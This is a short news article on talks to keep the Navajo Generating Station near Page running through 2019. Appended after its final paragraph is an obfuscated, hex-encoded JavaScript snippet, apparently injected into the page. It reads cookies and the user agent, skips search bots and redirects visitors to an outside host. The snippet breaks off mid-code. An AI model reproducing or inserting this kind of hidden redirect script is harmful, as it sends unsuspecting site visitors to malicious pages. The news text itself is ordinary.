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‘Considerable progress’ cited in negotiations on coal plant

If the Navajo Generating Station near Page closes at the end of 2019, as its owners plan, it would mean the loss of hundreds of jobs in an area where economic options are hard to come by, experts say. (Photo by Bill Morrow/Creative Commons)

Navajo Generating Station near PageAi??(Photo by Bill Morrow/Creative Commons)

Navajo Nation officials and the Navajo Generating Station’s managing owner express optimism about reaching an agreement soon to keep the coal-fired power plant operating through 2019.

The Salt River Project and the tribe say they’ve made “considerable progress” in negotiations on a replacement lease, which would preserve jobs and revenue for the Navajo Nation and the Hopi Tribe.

The plant’s owners cited availability of less expensive power from natural gas when they announced in February they plan to close it in December 2019 when their lease expires.

A 2019 closure would be preceded by a decommissioning period that would involve shutting the plant this year.

A replacement lease for operations through 2019 could delay decommissioning or allow the tribe or others to acquire the plant and keep it in operation.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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